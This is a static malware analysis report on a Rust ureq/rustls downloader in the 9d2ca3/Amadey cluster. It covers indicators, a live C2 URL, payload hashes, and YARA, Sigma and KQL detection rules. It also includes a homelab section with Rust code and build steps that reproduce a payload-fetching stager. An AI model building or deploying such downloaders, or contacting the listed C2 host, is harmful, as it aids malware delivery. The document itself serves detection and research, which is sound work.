typeanalysisfamily9d2ca3confidencemediumcreated2026-08-15updated2026-08-15perustloadermalware-familyc2defense-evasioncompiler
SHA-256: 4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3

9d2ca3: 4c25af57 — Rust ureq/rustls downloader, white-monster.xyz C2, SHA-256 payload integrity

Executive Summary

A stripped PE32+ x64 downloader compiled with Rust ~1.92.0 stable. It is the first Rust-built sibling observed in the 9d2ca3 / dropped-by-amadey cluster, expanding that grab-bag label to seven distinct build morphs. The binary uses the ureq 2.12.1 synchronous HTTP client backed by rustls 0.23.36 and ring 0.17.14 for TLS 1.3 payload retrieval, then validates the downloaded blob against a hardcoded SHA-256 hash. No packing, no obfuscation, no persistence, and no process injection are visible statically — a fire-and-forget stager. Static-only analysis (CAPE skipped — no Windows guest).

What It Is

Attribute Value
SHA-256 4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3
Size 1,533,440 bytes (1.46 MB) ^[file.txt]
Format PE32+ executable (GUI) x86-64, 10 sections ^[file.txt]
Compiled 2026-05-26 15:42:48 UTC ^[pefile.txt:34] ^[rabin2-info.txt:11]
Toolchain Rust ~1.92.0 stable (rustc commit 59807616, 2026-04-14) ^[strings.txt:2292]
Linker LLD 2.44 (Major=2, Minor=44) ^[pefile.txt:46] ^[exiftool.json:18]
Stripped Yes (external PDB reference only) ^[rabin2-info.txt:30]
Signed No ^[rabin2-info.txt:27]
Family 9d2ca3 (OpenCTI label, contested grab-bag) ^[metadata.json:7]
Distribution dropped-by-amadey ^[metadata.json:8]

Dependency stack (all from Cargo registry paths in .rdata): ^[strings.txt:2279-3389]

  • ureq 2.12.1 — synchronous HTTP client with gzip, proxy, and TLS support
  • rustls 0.23.36 — pure-Rust TLS 1.2/1.3 implementation (supports ECH)
  • ring 0.17.14 — crypto primitives (AES-GCM, ChaCha20-Poly1305, ECDSA P-256/P-384, RSA, HKDF, SHA-256/384/512)
  • flate2 1.1.8 / miniz_oxide 0.8.9 — gzip/deflate decompression
  • base64 0.22.1 — Base64 engine
  • idna 1.1.0 / percent-encoding 2.3.2 / url 2.5.8 — URL parsing and IDNA/Punycode
  • once_cell 1.21.3 — lazy static initialization
  • smallvec 1.15.1 — small-vector optimization
  • crc32fast 1.5.0 — CRC32 with pclmulqdq acceleration
  • generic-array 0.14.7 / cipher 0.4.4 / ctr 0.9.2 / aes 0.8.4 / block-buffer 0.10.4 — block-cipher scaffolding

Import surface (~90 imports across 8 DLLs): ^[pefile.txt:328-523]

  • KERNEL32.dll — standard process/thread/memory/file APIs
  • msvcrt.dll — CRT (malloc, memcpy, strlen, fprintf, etc.)
  • ntdll.dll — NtReadFile, NtWriteFile, RtlNtStatusToDosError
  • WS2_32.dll — full WinSock 2 surface (socket, connect, send, recv, bind, listen, accept, WSAStartup, etc.)
  • bcrypt.dll — BCryptGenRandom
  • bcryptprimitives.dll — ProcessPrng
  • ADVAPI32.dll — SystemFunction036
  • api-ms-win-core-synch-l1-2-0.dll — WaitOnAddress, WakeByAddressAll, WakeByAddressSingle

No exports. No .rsrc except a 0x265-byte RT_MANIFEST (id 0x18). ^[pefile.txt:525-564]

How It Works

The entry point (0x1400013d0) delegates to fcn.140001180, which is the Rust runtime initialization and main(). ^[r2:entry0] The binary performs the following chain:

  1. TLS bootstrap — rustls 0.23.36 initializes a TLS 1.3 client config backed by ring. The .rdata section contains the full rustls error-string table, cipher-suite list, and handshake state machine constants. ^[strings.txt:2563-2669]
  2. HTTP GET — ureq builds a request to the hardcoded URL https://cloud.white-monster.xyz/cat.jpg with a synthetic User-Agent header. ^[strings.txt:2286] ^[strings.txt:3321]
  3. Response handling — ureq transparently handles gzip (flate2/miniz_oxide) and chunked transfer encoding. ^[strings.txt:3364]
  4. Integrity validation — The downloaded payload is hashed and compared against the hardcoded SHA-256 867fbc90e07b14f8b5884fdc2993bfefd900a635e08ae5bfccc42e4b9ae59398. ^[strings.txt:2287]
  5. Execution — The validated payload is executed. The exact mechanism (reflective load, disk write + spawn, or in-memory execution) is not visible statically; the binary imports VirtualAlloc and VirtualProtect but also CreateThread, suggesting either RWX staging or direct thread injection. ^[strings.txt:2284-2285]

No persistence, no registry writes, no scheduled tasks, and no anti-VM/anti-debug checks are visible in static output. The defense is purely structural: a small, modern, dependency-heavy Rust binary with no obvious malicious strings beyond the C2 URL and hash.

Decompiled Behavior

Entry point (entry0 @ 0x1400013d0): ^[r2:entry0]

int entry0 (int rcx, int rdx) {
    rsp -= 0x28;
    rax = qword [0x14013a710];
    dword [rax] = 1;
    fcn.140001180 ();   // Rust runtime -> main()
    rsp += 0x28;
    return;
}

The fcn.140001180 span (~0x2B0 bytes) sets up the Rust standard-library runtime, TLS callbacks, and panic handler before calling the user main(). No anti-analysis tricks are present — standard Rust std initialization.

Notable .rdata artifacts (high-entropy, read-only):

  • ureq-2.12.1/src/rtls.rs — TLS connection init code path
  • rustls-0.23.36/src/msgs/deframer/mod.rs — TLS record deframer
  • ring-0.17.14/src/aead/aes_gcm.rs — AES-GCM implementation
  • ring-0.17.14/src/ec/curve25519/ed25519/signing.rs — Ed25519 signing

These strings are not present in MinGW, Go, or .NET siblings of the 9d2ca3 cluster, making them strong cluster-differentiation markers.

C2 Infrastructure

Indicator Value Notes
C2 URL https://cloud.white-monster.xyz/cat.jpg Hardcoded in .rdata ^[strings.txt:2286]
Domain cloud.white-monster.xyz Subdomain of white-monster.xyz
Protocol HTTPS TLS 1.3 via rustls 0.23.36
User-Agent Present (synthetic) user-agent / User-Agent strings in .rdata ^[strings.txt:3321]
Payload hash 867fbc90e07b14f8b5884fdc2993bfefd900a635e08ae5bfccc42e4b9ae59398 Hardcoded SHA-256 ^[strings.txt:2287]

No fallback C2, no DGA, no IP-hardcoding. Single URL, single hash.

Interesting Tidbits

  • Toolchain novelty: This is the first Rust sample in the entire 9d2ca3 cluster and the first Rust downloader in the corpus using ureq + rustls + ring. Prior siblings used MinGW-w64, Go 1.25.4, .NET Framework 4.0/4.6.2, or .NET Native AOT. ^[entities/9d2ca3.md]
  • Build path leakage: .cargo/registry/src/index.crates.io-1949cf8c6b5b557f/... paths reveal the author built on a Linux x86_64 host with a standard Rustup installation at /home/user/.rustup/toolchains/stable-x86_64-unknown-linux-gnu. ^[strings.txt:2279-2423]
  • No masquerade: Unlike most 9d2ca3 siblings, this binary has no VS_VERSIONINFO, no icon group, no fake product name. It is a naked Rust PE — unusual for Amadey droppers which typically carry at least minimal social engineering.
  • Small .data: The .data section is only 0xA70 bytes (2,672 bytes) with entropy 0.18 — nearly empty. The payload is not embedded locally; it is fetched at runtime. This is consistent with a pure downloader/stager. ^[pefile.txt:99-115]
  • TLS 1.3 + ECH capable: rustls 0.23.36 supports Encrypted Client Hello. The binary contains the full ECH error-string table (EchConfigExtension, hrr ech accept confirmation, etc.). ^[strings.txt:2660-2669] Whether ECH is actually configured is unknown statically.
  • floss/capa failures: floss was invoked with incorrect arguments and produced only an error message. ^[floss.txt] capa failed because the default signature path is missing on this host. ^[capa.txt] No decoded strings or capability hits are available.

How To Mess With It (Homelab Replication)

Goal: Reproduce a comparable Rust downloader that triggers the same static fingerprints.

Toolchain:

  • Rust ~1.92.0 stable (or any recent stable with cargo)
  • Target: x86_64-pc-windows-gnu or x86_64-pc-windows-msvc

Cargo.toml:

[package]
name = "rust_downloader"
version = "0.1.0"
edition = "2021"

[dependencies]
ureq = { version = "2.12", features = ["tls"] }
ring = "0.17"

src/main.rs:

use std::time::Duration;

fn main() {
    let agent = ureq::AgentBuilder::new()
        .timeout_connect(Duration::from_secs(10))
        .build();

    let resp = agent
        .get("https://example.com/payload.jpg")
        .set("User-Agent", "Mozilla/5.0")
        .call()
        .unwrap();

    let body = resp.into_string().unwrap();
    // Add SHA-256 validation here with ring::digest
}

Build & strip:

cargo build --release --target x86_64-pc-windows-gnu
strip target/x86_64-pc-windows-gnu/release/rust_downloader.exe

Verification:

  • Run rabin2 -I repro.exe — expect lang: c, signed: false, stripped: true, LinkerVersion: 2.44.
  • Run strings repro.exe | grep -i ureq — expect ureq-2.12.1/src/ paths.
  • Run strings repro.exe | grep -i rustls — expect rustls-0.23.36/src/ paths.
  • Compare section names: .text, .data, .rdata, .pdata, .xdata, .bss, .idata, .tls, .rsrc, .reloc.

Deployable Signatures

YARA Rule

rule rust_ureq_downloader_9d2ca3 {
    meta:
        description = "Rust ureq/rustls downloader from 9d2ca3 cluster"
        author = "PacketPursuit"
        date = "2026-08-15"
        sha256 = "4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3"
    strings:
        $c2_url = "https://cloud.white-monster.xyz/cat.jpg" ascii wide
        $payload_hash = "867fbc90e07b14f8b5884fdc2993bfefd900a635e08ae5bfccc42e4b9ae59398" ascii wide
        $ureq_rtls = "ureq-2.12.1/src/rtls.rs" ascii
        $rustls_tls13 = "rustls-0.23.36/src/crypto/tls13.rs" ascii
        $ring_hmac = "ring-0.17.14/src/hmac.rs" ascii
        $rustc_commit = "/rustc/59807616e1fa2540724bfbac14d7976d7e4a3860/" ascii
    condition:
        uint16(0) == 0x5A4D and
        filesize < 2MB and
        (
            any of ($c2_url, $payload_hash) or
            2 of ($ureq_rtls, $rustls_tls13, $ring_hmac, $rustc_commit)
        )
}

Sigma Rule

title: Rust ureq Downloader Network Connection
status: experimental
description: Detects network connections to white-monster.xyz C2 domain
logsource:
    category: network_connection
detection:
    selection:
        DestinationHostname|endswith: '.white-monster.xyz'
    condition: selection
falsepositives:
    - Unknown
level: high

Behavioral Hunt Query (KQL / Microsoft Defender)

DeviceNetworkEvents
| where RemoteUrl endswith ".white-monster.xyz"
| join kind=inner (
    DeviceProcessEvents
    | where FileName matches regex @"^[a-zA-Z0-9]{8,12}\.exe$"
) on $left.InitiatingProcessId == $right.ProcessId
| project Timestamp, DeviceName, FileName, RemoteUrl, SHA256

IOC List

Type Value
SHA-256 (sample) 4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3
SHA-256 (expected payload) 867fbc90e07b14f8b5884fdc2993bfefd900a635e08ae5bfccc42e4b9ae59398
C2 URL https://cloud.white-monster.xyz/cat.jpg
Domain cloud.white-monster.xyz
TLD .white-monster.xyz
ssdeep 24576:IcleFMoBQ1GvX+3R5sT4/AxFl+D3abDEj5VIH06iy9FMO/:IbFMyQwUru+AxHccIIU6isL ^[ssdeep.txt]
tlsh C5658E43E695C1ECC55EC078D7579B36FA32B88D093076EA27D08B242E16F816F1DB1A ^[tlsh.txt]

Behavioral Fingerprint

This binary is a stripped PE32+ x64 compiled with Rust ~1.92.0. It imports only standard Windows APIs (KERNEL32, WS2_32, ntdll, bcrypt, bcryptprimitives, ADVAPI32) plus msvcrt CRT. On execution, it establishes an HTTPS connection to cloud.white-monster.xyz using the ureq HTTP client backed by rustls 0.23.36 with ring 0.17.14 crypto. It downloads a payload (masqueraded as a .jpg) and validates it against a hardcoded SHA-256 hash before execution. No persistence, no registry writes, and no process injection are observed statically. The entire operation is fire-and-forget.

Detection Signatures

MITRE ATT&CK Technique ID Evidence
Ingress Tool Transfer T1105 Hardcoded HTTPS URL for payload download ^[strings.txt:2286]
Application Layer Protocol: Web Protocols T1071.001 ureq + rustls HTTPS GET ^[strings.txt:2279-3389]
Obfuscated Files or Information T1027 Payload delivered as .jpg masquerade; SHA-256 integrity check ^[strings.txt:2286-2287]

References

  • 9d2ca3 — Family entity page (contested grab-bag label)
  • rust-ureq-rustls-downloader — Technique deep-dive on this build pattern
  • OpenCTI artifact: 4a1d8b0f-775a-474b-90f4-5b0a38da4900 ^[metadata.json:2]
  • MalwareBazaar: 4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3

Provenance

  • file.txt — file v5.45
  • pefile.txt — pefile Python library
  • rabin2-info.txt — radare2 v5.9.9 (rabin2 -I)
  • strings.txt — strings (GNU binutils)
  • floss.txt — FireEye flare-floss (invoked with incorrect arguments, error only)
  • capa.txt — Mandiant capa v9.1.0 (failed — missing default signatures)
  • binwalk.txt — binwalk v2.4.3
  • exiftool.json — exiftool v12.76
  • ssdeep.txt — ssdeep
  • tlsh.txt — tlsh
  • metadata.json / triage.json — triage pipeline output
  • Radare2 decompilation — r2 v5.9.9, analysis level 3, 2830 functions recovered
  • Dynamic analysis: CAPE skipped — no Windows guest available ^[dynamic-analysis.md]